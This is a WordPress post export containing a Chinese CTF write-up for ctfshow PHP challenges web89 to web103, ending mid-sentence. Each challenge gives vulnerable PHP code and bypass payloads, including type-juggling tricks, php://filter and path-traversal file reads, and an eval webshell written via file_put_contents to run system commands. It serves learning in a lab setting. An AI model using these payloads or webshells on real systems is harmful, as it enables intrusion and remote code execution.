{"id":215,"date":"2021-07-05T06:50:21","date_gmt":"2021-07-04T22:50:21","guid":{"rendered":"http:\/\/101.34.19.194\/?p=215"},"modified":"2021-07-05T07:14:25","modified_gmt":"2021-07-04T23:14:25","slug":"ctfshow-php%e7%89%b9%e6%80%a7","status":"publish","type":"post","link":"http:\/\/101.34.19.194\/?p=215","title":{"rendered":"ctfshow-php\u7279\u6027"},"content":{"rendered":"\n<p>\u57fa\u7840\u77e5\u8bc6\uff1a<\/p>\n\n\n\n<p><a href=\"http:\/\/101.34.19.194\/?p=218\">php\u7279\u6027 \u2013 \u9752\u5d50<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web89\u2014\u6b63\u5219\u8868\u8fbe\u5f0f\u7ed5\u8fc7<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>\u200b<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if(preg_match(\"\/&#91;0-9]\/\", $num)){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num)){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u901a\u8fc7get\u65b9\u5f0f\u63d0\u4ea4\u4e00\u4e2anum<\/p><p>2\u3001\u5982\u679c\u901a\u8fc7\u6b63\u5219\u5339\u914d\uff0c\u63d0\u4ea4\u7684num\u4e2d\u67090-9\uff0c\u62e6\u622a\u8f93\u51fano no no<\/p><p>3\u3001\u5982\u679cintval\u540enum\u503c\u4e3a\u6574\u6570\uff0c\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u63d0\u4ea4\u4e00\u4e2a\u6570\u7ec4\uff0c\u8fbe\u5230\u7ed5\u8fc7\u7684\u6548\u679c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num[]=<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web90\u2014<strong>intval()<\/strong> \u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if($num===\"4476\"){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp; &nbsp;echo intval($num,0);<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012\u503c\u7ed9num<\/p><p>2\u3001\u5982\u679cnum\u503c\u7b49\u4e8e4476\uff0c\u62e6\u622a\uff1b\u2018===\u2019\u7684\u5f3a\u6bd4\u8f83\u540e\u76844476\u4e3a\u53cc\u5f15\u53f7\uff0c\u4f5c\u4e3a\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83<\/p><p>3\u3001\u5982\u679c\u901a\u8fc7intval\u51fd\u6570\u5341\u8fdb\u5236\u53d8\u5316\u540e\u7b49\u4e8e4476\uff0c\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n<p>\u90a3\u4e48\u53ef\u4ee5\u901a\u8fc7\u8fdb\u5236\u8f6c\u6362\uff0c\u5c06\u5341\u8fdb\u52364476\u8f6c\u6210\u5341\u516d\u8fdb\u5236117c,\u8d4b\u503cnum<\/p>\n\n\n\n<p>intval\u51fd\u6570\u4e2d\u5341\u516d\u8fdb\u5236\u524d\u9700\u8981\u5e26\u67090x<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num=0x117c<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web91\u2014\u6b63\u5219\u8868\u8fbe\u5f0f\u4fee\u9970\u7b26<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br> &nbsp; &nbsp;<br>$a=$_GET&#91;'cmd'];<br>if(preg_match('\/^php$\/im', $a)){<br> &nbsp; &nbsp;if(preg_match('\/^php$\/i', $a)){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo 'hacker';<br> &nbsp;  }<br> &nbsp; &nbsp;else{<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<br>else{<br> &nbsp; &nbsp;echo 'nonononono';<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012cmd\u503c<\/p><p>2\u3001\u6b63\u5219\u5339\u914d\u503c\u4e2d\u662f\u5426\u5305\u542bphp\uff0ci\u4e3a\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0cm\u4e3a\u591a\u884c\u5339\u914d<\/p><p>3\u3001\u518d\u4e00\u6b21\u6b63\u5219\u5339\u914d\u662f\u5426\u5305\u542bphp\uff0c\u4e0d\u533a\u5206\u5927\u5c0f\u5199<\/p><p>4\u3001\u4e0a\u8ff0\u4e24\u4e2a\u5224\u65ad\u4e3a\u6b63\u5219\u8f93\u51fahacker\uff0c\u5426\u5219\u8f93\u51faflag<\/p><\/blockquote>\n\n\n\n<p>\u53ef\u4ee5\u77e5\u9053\u4e0a\u9762\u53ea\u5728\u7b2c\u4e00\u884c\u7684if\u5224\u65ad\u8fdb\u884c\u591a\u884c\u5339\u914d\uff0c\u7b2c\u4e8c\u884c\u7684if\u5224\u65ad\u53ea\u5224\u65ad\u7b2c\u4e00\u884c<\/p>\n\n\n\n<p>\u56e0\u6b64\u53ef\u4ee5\u8fdb\u884c\u6362\u884c\uff0c\u8ba9\u5176\u5728\u7b2c\u4e8c\u884c\u5339\u914d\u5230php\uff0c\u7b2c\u4e00\u884c\u4e0d\u5339\u914d\u5230php\uff0c\u5373\u5230else\u5224\u65ad\u8f93\u51faflag<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>url\u4e2d%0a\u4e3a\u6362\u884c\u7b26<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?cmd=%0aphp<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web92\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if($num==4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num,0)==4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp; &nbsp;echo intval($num,0);<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<p>\u4e0eweb90\u4e00\u6837\u505a\u6cd5\uff0c\u901a\u8fc7\u8fdb\u5236\u8f6c\u6362<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num=0x117c \/\u5341\u516d\u8fdb\u5236<br>\/?num=010574 \/\u516b\u8fdb\u5236<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web93\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if($num==4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(preg_match(\"\/&#91;a-z]\/i\", $num)){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num,0)==4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp; &nbsp;echo intval($num,0);<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u8fc7\u6ee4\u8ddf\u4e0a\u4e2a\u9898\u4e00\u6837\uff0c\u591a\u4e86\u8fc7\u6ee4\u6389a-z\u7684\u5927\u5c0f\u5199\u5b57\u6bcd<\/p><p>\u8fd9\u6b21\u5c31\u4e0d\u80fd\u7528\u5341\u516d\u8fdb\u5236\uff0c\u7528\u516b\u8fdb\u5236\u7ed5\u8fc7<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num=010574<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web94\u2014strpos()\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br> &nbsp; &nbsp;<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if($num===\"4476\"){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(preg_match(\"\/&#91;a-z]\/i\", $num)){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(!strpos($num, \"0\")){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u5176\u5b83\u548c\u4e0a\u4e00\u9898\u4e00\u6837<\/p><p>\u591a\u4e86strpos\u51fd\u6570<\/p><p>\u8fd9\u91cc\u7684\u5224\u65ad\u662f\uff0c\u5982\u679c\u4f20\u9012\u7684\u53d8\u91cf\u91cc\u67090\uff0c!\u53d6\u53cd\uff0c\u5373\u4f20\u9012\u7684\u53d8\u91cf\u91cc\u6ca1\u67090\uff0c\u5219\u62e6\u622a<\/p><\/blockquote>\n\n\n\n<p>\u56e0\u6b64\u901a\u8fc7\u5206\u6790\uff0c\u9700\u8981\u7ed9\u4f20\u9012\u53c2\u6570\u91cc\u5e26\u67090\uff0c\u5e76\u4e14\u901a\u8fc7intval\u51fd\u6570\u53d8\u5316\u540e\u503c\u4ecd\u7b49\u4e8e4476<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num=4476.0<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web95\u2014intval()\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if(isset($_GET&#91;'num'])){<br> &nbsp; &nbsp;$num = $_GET&#91;'num'];<br> &nbsp; &nbsp;if($num==4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(preg_match(\"\/&#91;a-z]|\\.\/i\", $num)){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(!strpos($num, \"0\")){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no!!!\");<br> &nbsp;  }<br> &nbsp; &nbsp;if(intval($num,0)===4476){<br> &nbsp; &nbsp; &nbsp; &nbsp;echo $flag;<br> &nbsp;  }<br>}<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u5bf9\u6bd4\u4e0a\u4e00\u9898\u591a\u4e86\u8fc7\u6ee4\u5c0f\u6570\u70b9<\/p><p>\u7b2c\u4e00\u4e2a\u5224\u65ad\u4ece\u5f3a\u7c7b\u578b\u6bd4\u8f83\u53d8\u6210\u5f31\u7c7b\u578b\uff0c\u56e0\u6b64\u53ea\u8981\u503c\u4e0d\u4e0e4476\u76f8\u7b49\u5373\u53ef<\/p><p>\u7b2c\u4e8c\u4e2a\u5224\u65ad\u53ea\u591a\u4e86\u8fc7\u6ee4\u5c0f\u6570\u70b9\uff0c\u56e0\u6b64\u53ef\u4ee5\u5c1d\u8bd5\u5404\u79cd\u7b26\u53f7<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?num=+010574<br>\/?num= 010574<br>\/?num=%2B010574 &nbsp;  \/\u5bf9+\u8fdb\u884curl\u7f16\u7801<br>\/?num=%20010574 &nbsp;  \/\u5bf9\u7a7a\u683c\u8fdb\u884curl\u7f16\u7801<\/pre>\n\n\n\n<p>intval\u51fd\u6570\u5bf9+\u548c\u7a7a\u683c\u4f1a\u8fdb\u884c\u5220\u9664\u5904\u7406\uff0c\u6700\u7ec8\u5f97\u5230\u6574\u6570<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web96\u2014highlight_file<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>\u200b<br>if(isset($_GET&#91;'u'])){<br> &nbsp; &nbsp;if($_GET&#91;'u']=='flag.php'){<br> &nbsp; &nbsp; &nbsp; &nbsp;die(\"no no no\");<br> &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp; &nbsp;highlight_file($_GET&#91;'u']);<br> &nbsp;  }<br>\u200b<br>\u200b<br>}<br>\u200b<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001get\u65b9\u5f0f\u4f20\u9012\u4e00\u4e2a\u53c2\u6570u<\/p><p>2\u3001u\u53c2\u6570\u4e0eflag.php\u5f31\u7c7b\u578b\u6bd4\u8f83\uff0c\u4e3a\u771f\uff0c\u62e6\u622a<\/p><p>3\u3001\u5426\u5219\u5bf9u\u5305\u542b\u7684\u6587\u4ef6\u8fdb\u884c\u6587\u4ef6\u8bed\u6cd5\u9ad8\u4eae\u663e\u793a<\/p><p>\/highlight_file() \u5bf9\u6587\u672c\u6570\u636e\u8fdb\u884c\u8bfb\u5165\uff0c\u8bc6\u522b\u5173\u952e\u5b57\uff0c\u52a0\u5165css\u6837\u5f0f\u6df7\u5408\u8f93\u51fa<\/p><\/blockquote>\n\n\n\n<p>\u8fd9\u76f8\u5f53\u4e8e\u6587\u4ef6\u5305\u542b\u8bfb\u53d6\uff0c\u6709\u5f88\u591a\u7b49\u6548\u7684payload<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?u=\/var\/www\/html\/flag.php &nbsp; &nbsp;  \/\u7edd\u5bf9\u8def\u5f84 \u901a\u8fc7\u62a5\u9519\u63d0\u793a\u5f97\u5230\u5f53\u524d\u6240\u5728\u76ee\u5f55<br>\/?u=.\/flag.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\u76f8\u5bf9\u8def\u5f84<br>\/?u=php:\/\/filter\/resource=flag.php \/\u4f2a\u534f\u8bae<br>\/?u=\/var\/www\/html\/..\/..\/..\/ctfshow..\/..\/var\/www\/html\/flag.php \/\u901a\u8fc7\u4e2d\u95f4\u4e0d\u5b58\u5728\u7684\u76ee\u5f55\u8fdb\u884c\u4e0a\u4e0b\u7ea7\u76ee\u5f55\u5207\u6362<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web97\u2014md5<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>\u200b<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>if (isset($_POST&#91;'a']) and isset($_POST&#91;'b'])) {<br>if ($_POST&#91;'a'] != $_POST&#91;'b'])<br>if (md5($_POST&#91;'a']) === md5($_POST&#91;'b']))<br>echo $flag;<br>else<br>print 'Wrong.';<br>}<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001post\u4f20\u5165a\u548cb\u53c2\u6570<\/p><p>2\u3001\u5982\u679ca\u7684\u503c\u548cb\u7684\u503c\u4e0d\u76f8\u7b49<\/p><p>3\u3001\u5e76\u4e14a\u548cb\u7684md5\u503c\u76f8\u7b49<\/p><p>4\u3001\u8f93\u51faflag\uff0c\u5426\u5219\u8f93\u51fawrong<\/p><\/blockquote>\n\n\n\n<p>php\u4e2dmd5\u51fd\u6570\u65e0\u6cd5\u5904\u7406\u6570\u7ec4\uff0c\u76f4\u63a5\u8fd4\u56denull\uff0c\u56e0\u6b64\u4e3a\u5168\u7b49<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">a[]=1&amp;b[]=2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/POST\u65b9\u5f0f<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web98\u2014\u4e09\u76ee\u8fd0\u7b97\u7b26<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>include(\"flag.php\");<br>$_GET?$_GET=&amp;$_POST:'flag';<br>$_GET&#91;'flag']=='flag'?$_GET=&amp;$_COOKIE:'flag';<br>$_GET&#91;'flag']=='flag'?$_GET=&amp;$_SERVER:'flag';<br>highlight_file($_GET&#91;'HTTP_FLAG']=='flag'?$flag:__FILE__);<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u7b2c\u4e00\u884c\uff0c\u4e09\u76ee\u8fd0\u7b97\u7b26\uff0c\u5982\u679c\u901a\u8fc7get\u4f20\u9012\u53c2\u6570\uff0c\u90a3\u4e48POST\u4f20\u9012\u7684\u503c\u4f1a\u8986\u76d6GET<\/p><p>\u7b2c\u4e8c\u3001\u4e09\u884c\uff0c\u610f\u4e49\u4e0d\u5927\uff0c\u7b2c\u4e09\u884c\u4f1a\u8986\u76d6\u7b2c\u4e8c\u884c<\/p><p>\u7b2c\u56db\u884c\uff0c\u5982\u679cget\u4f20\u9012\u4e00\u4e2aHTTP_FLAG\u4e3aflag\uff0c\u8f93\u51faflag\uff0c\u5426\u5219\u663e\u793aindex.php\u4ee3\u7801<\/p><\/blockquote>\n\n\n\n<p>\u56e0\u6b64\u6700\u7ec8post\u4f20\u9012\u7684\u503c\u4f1a\u8986\u76d6get\uff0cpost\u4f20\u9012\u503cget\u968f\u4fbf\u4f20\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?1=1 &nbsp;  \/GET\u65b9\u5f0f\u968f\u4fbf\u586b &nbsp; &nbsp; HTTP_FLAG=flag &nbsp;  \/POST\u65b9\u5f0f<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web99\u2014in_array<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>$allow = array();<br>for ($i=36; $i &lt; 0x36d; $i++) { <br> &nbsp; &nbsp;array_push($allow, rand(1,$i));<br>}<br>if(isset($_GET&#91;'n']) &amp;&amp; in_array($_GET&#91;'n'], $allow)){<br> &nbsp; &nbsp;file_put_contents($_GET&#91;'n'], $_POST&#91;'content']);<br>}<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>array_push() \u5411\u6570\u7ec4\u5c3e\u90e8\u63d2\u5165\u4e00\u4e2a\u6216\u591a\u4e2a\u5143\u7d20\u3002<\/p><p>isset \u2014 \u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u5df2\u8bbe\u7f6e\u5e76\u4e14\u975e <strong><code>NULL<\/code><\/strong><\/p><p>in_array() \u51fd\u6570\u641c\u7d22\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u6307\u5b9a\u7684\u503c\u3002<\/p><p>file_put_contents(file,data,mode,context) file\uff0c\u89c4\u5b9a\u5199\u5165\u6570\u636e\u7684\u6587\u4ef6\uff1bdata\uff0c\u5199\u5165\u6587\u4ef6\u7684\u6570\u636e\uff1bmode\uff0c\u5982\u4f55\u6253\u5f00\/\u5199\u5165\u6587\u4ef6\uff1bcontext\uff0c\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u7684\u73af\u5883\u3002<\/p><\/blockquote>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001$allow\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u901a\u8fc7array_push\u51fd\u6570\uff0c\u5c06\u968f\u673a\u6570\u6dfb\u52a0\u5230\u6570\u7ec4\u91cc\uff0c\u4e14\u5fc5\u542b1<\/p><p>2\u3001\u5982\u679c\u53d8\u91cfn\u901a\u8fc7get\u65b9\u5f0f\u4f20\u9012\u4e86\u6570\u503c\u5e76\u4e14n\u91cc\u542b\u6709\u6570\u7ec4\u5185\u7684\u503c\uff0c\u90a3\u4e48\u5c06\u5199\u5165\u6587\u4ef6\uff0c\u6587\u4ef6\u540d\u4e3an\uff0c\u5185\u5bb9\u4e3apost\u4f20\u9012\u7684\u503c<\/p><\/blockquote>\n\n\n\n<p>\u5229\u7528<code>in_array()<\/code>\u7684\u7279\u6027\uff0c\u5f31\u6bd4\u8f83\u7279\u6027\uff0c<code>'1.php'==1<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/?n=1.php &nbsp; \/get\u65b9\u5f0f &nbsp; &nbsp;  content=&lt;?php @eval($_POST['hermitaria']);?&gt;  \/post\u65b9\u5f0f<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/1.php \u00a0  \/get\u65b9\u5f0f \u00a0 \u00a0 \u00a0 a=system(\"ls\") \u00a0 \u00a0 \/post\u65b9\u5f0f \u00a0 \u00a0\n\u5f97\u5230\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u540e\uff0c\u8bfb\u53d6flag\u6587\u4ef6\n\/1.php \u00a0  \/get\u65b9\u5f0f \u00a0 \u00a0 a=system(\"tac\/sort flag36d.php\"); \/post\u65b9\u5f0f <\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web100\u3001101\u2014\u53cd\u5c04\u7c7bReflectionClass<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>include(\"ctfshow.php\");<br>\/\/flag in class ctfshow;<br>$ctfshow = new ctfshow();<br>$v1=$_GET&#91;'v1'];<br>$v2=$_GET&#91;'v2'];<br>$v3=$_GET&#91;'v3'];<br>$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);<br>if($v0){<br> &nbsp; &nbsp;if(!preg_match(\"\/\\;\/\", $v2)){<br> &nbsp; &nbsp; &nbsp; &nbsp;if(preg_match(\"\/\\;\/\", $v3)){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;eval(\"$v2('ctfshow')$v3\");<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br> &nbsp; &nbsp;<br>}<br>\u200b<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u5305\u542b\u4e00\u4e2actfshow.php\u6587\u4ef6\uff0c\u5efa\u7acbctfshow\u7c7b\u7684\u53cd\u5c04\uff0cv1\u7b49\u901a\u8fc7get\u65b9\u5f0f\u4f20\u503c<\/p><p>2\u3001\u8fd9\u91cc\u4e3b\u8981\u662f\u8fd0\u7b97\u4f18\u5148\u7ea7\u3002$v0=is_numeric($v1)\u7684\u8d4b\u503c\u8bed\u53e5\u4f18\u5148\u7ea7\u662f\u5927\u4e8e\u903b\u8f91\u8fd0\u7b97\u7b26and\uff0c\u53ea\u8981\u4fdd\u8bc1v0\u4e3a\u6570\u5b57\u5373\u53ef\u8fdb\u5165if\u8bed\u53e5<\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>$a=true and false and false;<br>var_dump($a); &nbsp;\u8fd4\u56detrue<br>\u200b<br>$a=true &amp;&amp; false &amp;&amp; false;<br>var_dump($a); &nbsp;\u8fd4\u56defalse<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5199\u5165shell\u89e3\u6cd5<\/h3>\n\n\n\n<p>\u8fd9\u79cd\u89e3\u6cd5\u6ca1\u6709\u5229\u7528\u4ee3\u7801\u4e2d\u7c7b\u7684\u53cd\u5c04\u89e3\u6cd5<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u5728if\u8bed\u53e5\u540e<\/p><p>\u6b63\u5219\u5339\u914dv2\u53d8\u91cf\uff0c\u4e0d\u80fd\u542b\u6709\\ ;<\/p><p>\u6b63\u5219\u5339\u914dv3\u53d8\u91cf\uff0c\u9700\u542b\u6709\\ ;<\/p><\/blockquote>\n\n\n\n<p>\u56e0\u6b64\u53ef\u4ee5\u5728v2\u5904\u4f20\u5165\u4e00\u4e2ashell\uff0cv3\u5904\u4f20\u5165;\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?v1=1&amp;v2=eval($_POST&#91;1])?&gt;%23&amp;v3=; &nbsp; &nbsp; &nbsp; \/\/get<br>1=system(\"ls\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/post<br>1=system(\"sort ctfshow.php\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u5f97\u5230flag<\/code><\/pre>\n\n\n\n<p>\u5176\u4e2dflag\u7684flag_is_1b42b2680x2d8b3a0x2d44600x2d85cf0x2db1f1ea62055a<\/p>\n\n\n\n<p>0x2d\u4e3a- \u9700\u8981\u8f6c\u6362\u6210<\/p>\n\n\n\n<p>ctfshow{1b42b268-8b3a-4460-85cf-b1f1ea62055a}<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u53cd\u5c04\u7c7bReflectionClass\u89e3\u6cd5<\/h3>\n\n\n\n<p>\u8fd9\u91cc\u4ee3\u7801\u5efa\u7acb\u4e86ctfshow\u7c7b\u7684\u53cd\u5c04<\/p>\n\n\n\n<p><code>$ctfshow = new ctfshow();<\/code><\/p>\n\n\n\n<p>\u5e76\u4e14\u6ce8\u91ca\u63d0\u793aflag\u5728ctfshow\u91cc<\/p>\n\n\n\n<p><code>\/\/flag in class ctfshow;<\/code><\/p>\n\n\n\n<p>\u6700\u7b80\u5355\u7684\u65b9\u6cd5\u662f\u76f4\u63a5\u8f93\u51fa\u8fd9\u4e2a\u7c7b<\/p>\n\n\n\n<p><code>echo new ReflectionClass('ctfshow');<\/code><\/p>\n\n\n\n<p>payload\u4e3a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?v1=1&amp;v2=echo new ReflectionClass&amp;v3=;<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web102\u3001103\u2014is_numeric<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>\u200b<br>highlight_file(__FILE__);<br>$v1 = $_POST&#91;'v1'];<br>$v2 = $_GET&#91;'v2'];<br>$v3 = $_GET&#91;'v3'];<br>$v4 = is_numeric($v2) and is_numeric($v3);<br>if($v4){<br> &nbsp; &nbsp;$s = substr($v2,2);<br> &nbsp; &nbsp;$str = call_user_func($v1,$s);<br> &nbsp; &nbsp;echo $str;<br> &nbsp; &nbsp;file_put_contents($v3,$str);<br>}<br>else{<br> &nbsp; &nbsp;die('hacker');<br>}<br>\u200b<br>\u200b<br>?&gt;<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>1\u3001\u8d4b\u503c\u8fd0\u7b97\u7b26\u4f18\u5148\u7ea7\u9ad8\u4e8eand\uff0c\u6240\u4ee5\u53ea\u8981v2\u4e3a\u6570\u5b57\u578b\u5373\u53ef\u6ee1\u8db3<\/p><p>2\u3001$s\u4ece\u7b2c\u4e09\u4f4d\u5f00\u59cb\u622a\u53d6v2\u53d8\u91cf<\/p><p>3\u3001call_user_func \u2014 \u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528\u3002\u5373\u5c06$s\u4f5c\u4e3a\u53c2\u6570\u8c03\u7528v1\u4f20\u9012\u7684\u51fd\u6570<\/p><p>4\u3001\u5c06$str\u7684\u503c\u7684\u5185\u5bb9\u5199\u5165\u540d\u4e3a$v3\u7684\u6587\u4ef6<\/p><\/blockquote>\n\n\n\n<p>is_numeric\u5728php5\u7684\u73af\u5883\u4e2d\uff0c\u662f\u53ef\u4ee5\u8bc6\u522b\u5341\u516d\u8fdb\u5236\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u4f20\u5165v2=0x66\u4e5f\u662f\u53ef\u4ee5\u8bc6\u522b\u4e3a\u6570\u5b57\u7684\u3002<\/p>\n\n\n\n<p>\u4f46\u8be5\u73af\u5883\u4e3aphp7\uff0c\u9700\u8981\u53e6\u627e\u65b9\u6cd5\u7ed5\u8fc7<\/p>\n\n\n\n<p>\u867d\u7136\u6587\u4ef6\u5185\u5bb9\u4e0d\u597d\u63a7\u5236\uff0c\u4f46\u662f\u53ef\u4ee5\u5229\u7528\u4f2a\u534f\u8bae\u5c06\u5185\u5bb9\u8fdb\u884c\u7f16\u7801\u8f6c\u6362\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u80fd\